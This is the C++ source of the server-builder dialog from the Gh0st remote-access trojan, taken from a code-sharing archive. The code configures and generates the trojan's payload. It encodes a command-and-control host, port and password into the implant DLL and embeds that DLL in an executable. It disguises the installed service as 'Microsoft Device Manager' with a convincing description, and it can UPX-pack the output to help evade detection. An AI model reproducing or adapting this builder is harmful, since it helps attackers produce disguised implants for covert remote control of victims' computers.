www.pudn.com > Gh0st.rar > BuildServer.cpp, change:2011-05-25,size:15344b


// BuildServer.cpp : implementation file 
// 
 
#include "stdafx.h" 
#include "Client.h" 
#include "BuildServer.h" 
#include <shlwapi.h> 
#include "encode.h" 
 
#ifdef _DEBUG 
#define new DEBUG_NEW 
#undef THIS_FILE 
static char THIS_FILE[] = __FILE__; 
#endif 
 
///////////////////////////////////////////////////////////////////////////// 
// CBuildServer dialog 
 
CBuildServer::CBuildServer(CWnd* pParent /*=NULL*/) 
	: CDialog(CBuildServer::IDD, pParent) 
{ 
	//{{AFX_DATA_INIT(CBuildServer) 
	m_ServiceName = _T(""); 
	m_ServiceDisplayName = _T(""); 
	m_strVersion = _T("VIP1.0"); 
	m_delete = TRUE; 
	m_ServiceDescription = _T(""); 
	m_url = _T(""); 
	m_dllname = _T("server.dll"); 
	m_encode = _T(""); 
	m_enable_http = ((CClientApp *)AfxGetApp())->m_IniFile.GetInt("Build", "EnableHttp", false); 
	m_remote_port =((CClientApp *)AfxGetApp())->m_IniFile.GetString("Build", "Port", "80"); 
	m_pass = _T(""); 
	m_remote_host = ((CClientApp *)AfxGetApp())->m_IniFile.GetString("Build", "Host", ""); 
	m_strUpGroup = _T("自动上线主机"); 
	m_md5 = TRUE; 
	m_upx = FALSE; 
	//}}AFX_DATA_INIT 
	UINT nFaceID[] = {IDI_ICON1, IDI_ICON2, IDI_ICON3, IDI_ICON4, IDI_ICON5,IDI_ICON6}; 
	 
	for(int i = 0; i < sizeof(nFaceID)/sizeof(UINT); i++) 
	{ 
		FaceIcon[i] = ((CClientApp*)AfxGetApp())->LoadIcon(nFaceID[i]); 
	} 
} 
 
 
void CBuildServer::DoDataExchange(CDataExchange* pDX) 
{ 
	CDialog::DoDataExchange(pDX); 
	//{{AFX_DATA_MAP(CBuildServer) 
	DDX_Control(pDX, IDC_ONLINE_ICON, m_OnlineIcon); 
	DDX_Control(pDX, IDC_FACE_LIST, m_FaceList); 
	DDX_Control(pDX, IDC_COMBO_GROUP, m_combo_group); 
	DDX_Control(pDX, IDC_COMBO_RELEASEPATH, m_releasepath); 
	DDX_Text(pDX, IDC_SERVICE_NAME, m_ServiceName); 
	DDX_Text(pDX, IDC_SERVICE_DISPLAYNAME, m_ServiceDisplayName); 
	DDX_Text(pDX, IDC_VERSION, m_strVersion); 
	DDX_Check(pDX, IDC_CHECK_DELETE, m_delete); 
	DDX_Text(pDX, IDC_SERVICE_DESCRIPTION, m_ServiceDescription); 
	DDX_Text(pDX, IDC_URL, m_url); 
	DDX_Text(pDX, IDC_DLL_NAME, m_dllname); 
	DDX_Text(pDX, IDC_ENCODE, m_encode); 
	DDX_Check(pDX, IDC_ENABLE_HTTP, m_enable_http); 
	DDX_Text(pDX, IDC_REMOTE_PORT, m_remote_port); 
	DDX_Text(pDX, IDC_PASSWORD, m_pass); 
	DDX_Text(pDX, IDC_REMOTE_HOST, m_remote_host); 
	DDX_CBString(pDX, IDC_COMBO_GROUP, m_strUpGroup); 
	DDX_Check(pDX, IDC_MD5, m_md5); 
	DDX_Check(pDX, IDC_UPX, m_upx); 
	//}}AFX_DATA_MAP 
} 
 
 
BEGIN_MESSAGE_MAP(CBuildServer, CDialog) 
	//{{AFX_MSG_MAP(CBuildServer) 
	ON_BN_CLICKED(IDC_TEST_MASTER, OnTestMaster) 
	ON_BN_CLICKED(IDC_ENABLE_HTTP, OnEnableHttp) 
	ON_EN_CHANGE(IDC_REMOTE_HOST, OnChangeRemoteHost) 
	ON_EN_CHANGE(IDC_REMOTE_PORT, OnChangeRemotePort) 
	ON_BN_CLICKED(IDC_BUILD, OnBuild) 
	ON_BN_CLICKED(IDC_EXIT, OnExit) 
	ON_CBN_SELCHANGE(IDC_FACE_LIST, OnSelchangeFaceList) 
	//}}AFX_MSG_MAP 
END_MESSAGE_MAP() 
 
///////////////////////////////////////////////////////////////////////////// 
// CBuildServer message handlers 
 
void CBuildServer::OnTestMaster()  
{ 
	// TODO: Add your control notification handler code here 
	UpdateData(); 
	 
	if (!m_remote_host.GetLength() || !m_remote_port.GetLength()) 
	{ 
		MessageBox("请完整填服务器信息","提示", MB_ICONINFORMATION); 
		return; 
	} 
	HANDLE	hThread; 
	if (m_enable_http) 
	{ 
//		hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)TestURL, this, 0, NULL); 
	} 
	else 
	{ 
		hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)TestMaster, this, 0, NULL); 
	} 
	CloseHandle(hThread); 
} 
 
void CBuildServer::OnEnableHttp()  
{ 
	// TODO: Add your control notification handler code here 
	UpdateData(true); 
	 
	GetDlgItem(IDC_TEST_MASTER)->EnableWindow(!m_enable_http); 
	 
	 
	GetDlgItem(IDC_REMOTE_HOST)->EnableWindow(!m_enable_http); 
	GetDlgItem(IDC_REMOTE_PORT)->EnableWindow(!m_enable_http); 
	GetDlgItem(IDC_URL)->EnableWindow(m_enable_http); 
} 
 
BOOL CBuildServer::OnInitDialog()  
{ 
	CDialog::OnInitDialog(); 
	 
	// TODO: Add extra initialization here 
	if (m_remote_host.GetLength() == 0) 
	{ 
		char hostname[256];  
		gethostname(hostname, sizeof(hostname)); 
		HOSTENT *host = gethostbyname(hostname); 
		if (host != NULL) 
			m_remote_host = inet_ntoa(*(IN_ADDR*)host->h_addr_list[0]); 
		else 
			m_remote_host = _T("127.0.0.1");	 
	} 
	UpdateData(false); 
 
	SetDlgItemText(IDC_URL, ((CClientApp *)AfxGetApp())->m_IniFile.GetString("Build", "httpurl", "http://www.baidu.com/ip.txt")); 
	SetDlgItemText(IDC_SERVICE_NAME, ((CClientApp *)AfxGetApp())->m_IniFile.GetString("Build","ServiceName","HClient")); 
	SetDlgItemText(IDC_SERVICE_DISPLAYNAME,  
		((CClientApp *)AfxGetApp())->m_IniFile.GetString("Build", "DisplayName", "Microsoft Device Manager")); 
	SetDlgItemText(IDC_SERVICE_DESCRIPTION,  
		((CClientApp *)AfxGetApp())->m_IniFile.GetString("Build", "Description", "监测和监视新硬件设备并自动更新设备驱动")); 
	 
	OnEnableHttp(); 
    OnChangeConfig(); 
	m_releasepath.SetCurSel(5);//设置DLL释放路径初始选中 
	m_FaceList.SetCurSel(0); 
	return TRUE;  // return TRUE unless you set the focus to a control 
	              // EXCEPTION: OCX Property Pages should return FALSE 
} 
 
void CBuildServer::OnChangeConfig() 
{ 
	UpdateData(); 
 
    m_remote_host.Replace(" ", "");//把找到的空格填充掉 
	m_remote_port.Replace(" ", ""); 
	 
	CString str = m_remote_host + ":" + m_remote_port; 
	//::MessageBox(0,str,"ok", 0); 
	 
	str.MakeLower(); 
	m_encode = MyEncode(str.GetBuffer(0)); 
	m_encode.Insert(0, "AAAA"); 
	m_encode += "AAAA"; 
	UpdateData(FALSE); 
} 
 
void CBuildServer::OnChangeRemoteHost()  
{ 
	// TODO: If this is a RICHEDIT control, the control will not 
	// send this notification unless you override the CDialog::OnInitDialog() 
	// function and call CRichEditCtrl().SetEventMask() 
	// with the ENM_CHANGE flag ORed into the mask. 
	 
	// TODO: Add your control notification handler code here 
	OnChangeConfig(); 
} 
 
void CBuildServer::OnChangeRemotePort()  
{ 
	// TODO: If this is a RICHEDIT control, the control will not 
	// send this notification unless you override the CDialog::OnInitDialog() 
	// function and call CRichEditCtrl().SetEventMask() 
	// with the ENM_CHANGE flag ORed into the mask. 
	 
	// TODO: Add your control notification handler code here 
	OnChangeConfig(); 
} 
 
DWORD WINAPI CBuildServer::TestMaster( LPVOID lparam )  
{ 
	// TODO: Add your control notification handler code here 
	CBuildServer	*pThis = (CBuildServer *)lparam; 
	CString	strResult; 
	bool	bRet = true; 
	WSADATA	wsaData0; 
	WSAStartup(0x0201, &wsaData0); 
	 
	SOCKET	sRemote = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 
	if (sRemote == SOCKET_ERROR) 
	{  
		pThis->MessageBox("socket 初始化失败","提示", MB_ICONINFORMATION); 
		return false; 
	} 
	// 设置socket为非阻塞 
	u_long argp	= 1; 
	ioctlsocket(sRemote, FIONBIO, &argp); 
	 
	struct timeval tvSelect_Time_Out; 
	tvSelect_Time_Out.tv_sec = 3; 
	tvSelect_Time_Out.tv_usec = 0; 
	 
	hostent* pHostent = NULL; 
	pHostent = gethostbyname(pThis->m_remote_host); 
	if (pHostent == NULL) 
	{ 
		bRet = false; 
		goto fail; 
	} 
	 
	// 构造sockaddr_in结构 
	sockaddr_in	ClientAddr; 
	ClientAddr.sin_family	= AF_INET; 
	ClientAddr.sin_port	= htons(atoi(pThis->m_remote_port)); 
	 
	ClientAddr.sin_addr = *((struct in_addr *)pHostent->h_addr); 
	 
	connect(sRemote, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)); 
	 
	fd_set	fdWrite; 
	FD_ZERO(&fdWrite); 
	FD_SET(sRemote, &fdWrite); 
	 
	if (select(0, 0, &fdWrite, NULL, &tvSelect_Time_Out) <= 0) 
	{	 
		bRet = false; 
		goto fail; 
	} 
fail: 
	closesocket(sRemote); 
	WSACleanup(); 
	 
	if (bRet) 
		strResult.Format("成功连接到主机“%s”的“%s”端口 ...", pThis->m_remote_host, pThis->m_remote_port); 
	else 
		strResult.Format("打开到主机“%s:%s”的连接失败 ...", pThis->m_remote_host, pThis->m_remote_port); 
	 
	pThis->MessageBox(strResult,"提示",MB_ICONINFORMATION); 
	return -1; 
} 
 
void CBuildServer::OnBuild()  
{ 
	// TODO: Add your control notification handler code here 
	UpdateData(true); 
	if (m_ServiceDisplayName.IsEmpty() || m_ServiceDescription.IsEmpty()) 
	{ 
		MessageBox("请完整填写服务显示名称和描述 -:("); 
		return; 
	} 
 
	if (m_strUpGroup.IsEmpty()) 
	 m_strUpGroup="自动上线主机"; 
 
	CString strAddress; 
	CString strPassword; 
	strPassword = MyEncode(m_pass.GetBuffer(0)); 
 
	// 保存配置 
	((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "Host", m_remote_host); 
	((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "Port", m_remote_port); 
	((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "ServiceName", m_ServiceName); 
	((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "DisplayName", m_ServiceDisplayName); 
	((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "Description", m_ServiceDescription); 
    ((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "Version", m_strVersion); 
	((CClientApp *)AfxGetApp())->m_IniFile.SetInt("Build", "EnableHttp", m_enable_http); 
	((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "ConnectPass", m_pass); 
	 
	if (m_enable_http) 
	{ 
		CString str; 
		GetDlgItemText(IDC_URL, str); 
		((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "httpurl", str); 
		str.MakeLower(); 
		strAddress = MyEncode(str.GetBuffer(0)); 
	} 
	else 
	{ 
		GetDlgItemText(IDC_DNS_STRING, strAddress); 
		if (strAddress.Find("AAAA") == -1) 
		{ 
			MessageBox("域名上线字串格式出错 -:("); 
			return; 
		} 
		strAddress.Replace("AAAA", ""); 
	} 
 
	CString strInstallPath; 
	((CComboBox*)GetDlgItem(IDC_COMBO_RELEASEPATH))->GetWindowText(strInstallPath);//安装路径 
	strInstallPath = strInstallPath + m_dllname; 
	 
	CString strVersion; 
	strVersion = MyEncode(m_strVersion.GetBuffer(0)); 
 
	CFileDialog dlg(FALSE, "exe", "server.exe", OFN_OVERWRITEPROMPT,"可执行文件|*.exe", NULL); 
	if(dlg.DoModal () != IDOK) 
		return; 
	char Path[MAX_PATH]; 
	char ExePath[MAX_PATH]; 
	char DllPath[MAX_PATH]; 
	char BakPath[MAX_PATH]; 
	char DllBakPath[MAX_PATH]; 
	char NoExe[MAX_PATH]; 
	char NoDLL[MAX_PATH]; 
	char  strKillEvent[60]; 
	char str5[50] = "sgegpjde"; 
	wsprintf( strKillEvent, "%s%03dAD",str5,GetTickCount() + 5 ); // 获得随机数 
	GetModuleFileName(NULL, Path, sizeof(Path));   //获取程序自身完整路径名称,即Gh0st.exe的路径 
	PathRemoveFileSpec(Path); 
	 
	wsprintf(ExePath,"%s%s",Path,"\\update\\server.dat"); 
	wsprintf(DllPath,"%s%s",Path,"\\update\\server.dll"); 
	wsprintf(BakPath,"%s%s",Path,"\\update\\Cache.bak"); 
	wsprintf(DllBakPath,"%s%s",Path,"\\update\\dll.bak"); 
	wsprintf(NoExe,"%s%s%s%s","\"",ExePath,"\""," 文件丢失!"); 
	wsprintf(NoDLL,"%s%s%s%s","\"",DllPath,"\""," 文件丢失!"); 
	 
	if(!CopyFile(ExePath,BakPath,FALSE))  //如果不存在dat文件就提示下 
	{ 
		MessageBox(NoExe,"提示"); 
		return; 
	} 
	 
	if(!CopyFile(DllPath,DllBakPath,FALSE))  //如果不存在dll文件就提示下 
	{ 
		MessageBox(NoDLL,"提示"); 
		return; 
	} 
 
	CFile filedll; 
	if(filedll.Open (DllBakPath, CFile::modeWrite)) 
	{ 
		try 
		{ 
			filedll.Seek(0,CFile::end); //把文件指针指向文件末尾 
			if (m_md5!=false) 
			{ 
				filedll.Write(strKillEvent,lstrlen(strKillEvent)); 
			} 
			filedll.Write("AAAAAA", 6);//写入上线地址信息到DLL 
			filedll.Write(strAddress, strAddress.GetLength() + 1); 
			filedll.Write("PPPPPP", 6);//写入安装路径 
			filedll.Write(strInstallPath, strInstallPath.GetLength() + 1); 
			filedll.Write("VVVVVV", 6);//写入版本 
			filedll.Write(strVersion, strVersion.GetLength() + 1); 
			filedll.Write("WWWWWW", 6);//写入上线密码 
			filedll.Write(strPassword, strPassword.GetLength() + 1); 
			filedll.Write("DDDDDD", 6);//写入自删除判断 
			filedll.Write(&m_delete,sizeof(BOOL)); 
			filedll.Write("IIIIII", 6);//写入上线图标 
			BYTE nIcon=m_FaceList.GetCurSel(); 
			filedll.Write(&nIcon,sizeof(nIcon)); 
			filedll.Close(); 
		} 
		catch(...) 
		{ 
		} 
	} 
	 
	HANDLE hFile; 
    hFile = CreateFile(DllBakPath, GENERIC_READ, NULL, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL); 
    if (hFile == INVALID_HANDLE_VALUE) 
    { 
		DeleteFile(BakPath); 
       	DeleteFile(DllBakPath); 
		MessageBox(NoDLL,"提示"); 
		return; 
    } 
	 
	DWORD nSizeOfSrcFile = GetFileSize( hFile, &nSizeOfSrcFile );  
	char *szSrcFileBuf = new char[ nSizeOfSrcFile ];  
	ReadFile( hFile, szSrcFileBuf, nSizeOfSrcFile, &nSizeOfSrcFile, NULL);  
	 
	HANDLE hUpdate; 
	BOOL ret; 
	hUpdate = BeginUpdateResource(BakPath, false); 
    ret = UpdateResource(hUpdate, "BIN", "DLL", 0, szSrcFileBuf, nSizeOfSrcFile); 
    if (!ret) 
    { 
        delete []szSrcFileBuf;  
        DeleteFile(BakPath); 
		CloseHandle(hFile); 
		MessageBox("更新DLL到EXE资源失败,请检查...","提示",MB_OK|MB_ICONSTOP); 
		return; 
    } 
    CloseHandle(hFile); 
	EndUpdateResource( hUpdate, false );  
	delete []szSrcFileBuf;  
	CloseHandle(hFile); 
	CopyFile(BakPath,dlg.GetPathName(),FALSE); 
	DeleteFile(BakPath); 
	DeleteFile(DllBakPath); 
	 
	CFile file; 
	if(file.Open (dlg.GetPathName(), CFile::modeWrite)) 
	{ 
		try 
		{ 
			DWORD sizeBeginWrite = 0x558;//配置信息结构开始位置 
			 
			file.Seek(sizeBeginWrite,CFile::begin); 
			file.Write(m_ServiceName.GetBuffer(0), m_ServiceName.GetLength() + 1); 
 
            file.Seek(sizeBeginWrite + 50,CFile::begin); 
			file.Write(m_ServiceDisplayName.GetBuffer(0), m_ServiceDisplayName.GetLength() + 1); 
			 
			file.Seek(sizeBeginWrite + 150,CFile::begin); 
			file.Write(m_ServiceDescription.GetBuffer(0), m_ServiceDescription.GetLength() + 1); 
			 
			file.Seek(sizeBeginWrite + 350,CFile::begin); 
			file.Write(strInstallPath, strInstallPath.GetLength() + 1);			 
 
			file.Seek(sizeBeginWrite + 550,CFile::begin); 
			file.Write(m_strUpGroup, m_strUpGroup.GetLength() + 1);	 
			 
			file.Close(); 
 
			if (m_upx) 
			{ 
				CompressUpx(dlg.GetFileName());//UPX压缩		 
				AfxMessageBox("文件压缩成功."); 
			} 
			else{ 
			char ShowText[200]; 
			wsprintf(ShowText,"%s%s","服务端已生成到:",dlg.GetPathName()); 
			MessageBox(ShowText,"提示",MB_ICONEXCLAMATION | MB_OK); 
			} 
		} 
		catch(...) 
		{ 
			MessageBox("文件保存失败,请检查...","提示",MB_OK|MB_ICONSTOP); 
		} 
	} 
	OnCancel(); 
} 
 
void CBuildServer::OnExit()  
{ 
	// TODO: Add your control notification handler code here 
	OnCancel(); 
} 
 
void CBuildServer::CompressUpx(CString inpath) 
{ 
	HRSRC hResInfo; 
	HGLOBAL hResData; 
	DWORD dwSize,dwWritten; 
	LPBYTE p; 
	HANDLE hFile; 
    // 查找所需的资源 
	hResInfo = FindResource(NULL,MAKEINTRESOURCE(IDR_UPX),"UPX"); 
	if(hResInfo == NULL) return; 
    // 获得资源尺寸 
	dwSize = SizeofResource(NULL,hResInfo); 
    // 装载资源 
	hResData = LoadResource(NULL,hResInfo); 
	if(hResData == NULL) return; 
	// 为数据分配空间 
	p = (LPBYTE)GlobalAlloc(GPTR, dwSize);  
	if (p == NULL)     return; 
	// 复制资源数据 
	CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize); 
	 
    char Path[256]; 
    GetCurrentDirectory(256, Path); 
	strcat(Path,"\\upx.exe"); 
	DeleteFile(Path); 
	hFile = CreateFile(Path,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL); 
	if(hFile == NULL) return; 
	 
	WriteFile(hFile,(LPVOID)p,dwSize,&dwWritten,NULL); 
	CloseHandle(hFile); 
	ShellExecute(this->m_hWnd,"open",Path, inpath,"",SW_HIDE);	 
	 
	BOOL del; 
	do  
	{ 
		del = DeleteFile(Path); 
	} while(!del); 
} 
 
void CBuildServer::OnSelchangeFaceList()  
{ 
	// TODO: Add your control notification handler code here 
	int nItem = m_FaceList.GetCurSel(); 
	if(nItem == LB_ERR) 
	{ 
		m_OnlineIcon.SetIcon(NULL); 
	} 
	else 
	{ 
		m_OnlineIcon.SetIcon(FaceIcon[nItem]); 
	} 
}